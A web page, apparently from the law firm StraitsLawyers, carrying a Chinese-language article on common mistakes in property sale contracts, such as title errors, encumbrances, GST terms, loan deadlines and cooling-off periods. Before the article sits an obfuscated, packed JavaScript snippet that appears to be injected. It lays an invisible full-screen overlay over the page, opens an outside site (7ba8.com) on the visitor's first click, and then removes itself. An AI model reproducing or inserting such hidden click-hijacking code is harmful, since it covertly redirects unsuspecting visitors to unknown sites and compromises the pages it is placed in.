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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 买卖房子毕竟是很重大的决定, 因为这包含大量的资金转动,一点点的错误都可能会影响到您的一生梦想。
如果您正考虑购买或售卖房产, 这篇文章为您细数各种有可能发生的问题。
- 错误的房产产权信息: 如果您正打算购买8号的房子(没有抵押), 但在合同错误写成9号(有抵押), 这将会导致你没法购买或售卖。 因为购买或售卖房产必须要确保产权信息是没有任何限制比如抵押。
- 不理解什么是包含在这个交易里: 中介可能向您承诺包含某些家具, 您必须要检查清楚合同是否包括该家具。
- 没有列明产权负担(Encumbrance): 您需了解该产权上是否包含产权负担, 因为产权负担必须处理才可以过户,而处理会上生额外的费用。合同上列明所有产权负担。
- 错误的双方买卖家信息: 合同上的名字并非可以随意改动。改动名字可能需要重新签署一份全新的合同以代替先前的旧合同。
- 含糊的条款(如GST): 合同可能并没有清楚列明GST 包含在总售价里, 这可能导致最后过户时出现出乎意料的开支。
- 模糊的特别条款: 买卖合同需要清楚列明所有条款, 在特别条款内的要求也必须要可行。
- 错误贷款的安排: 要清楚了解什么时候是批准贷款的截止日,因为可能导致没法过户。
- 不理解重要日子: 在过户前可能要求获得特定的报告以证明特定条件; 过户日子; 冷静期等等, 这些都需要清楚列明在合同上。
- 不理解冷静期: 冷静期是指买家可在该时期内取消合同而没有任何法律后果。
- 没有寻找专业的律师或过户师: 草拟合同或查看合同是需要特别的知识及经验,我们建议您在办理任何房产买卖最好找专业人士为您处理。
请注意，本文不构成法律建议，StraitsLawyers对您根据本文采取的任何行动不承担法律责任。
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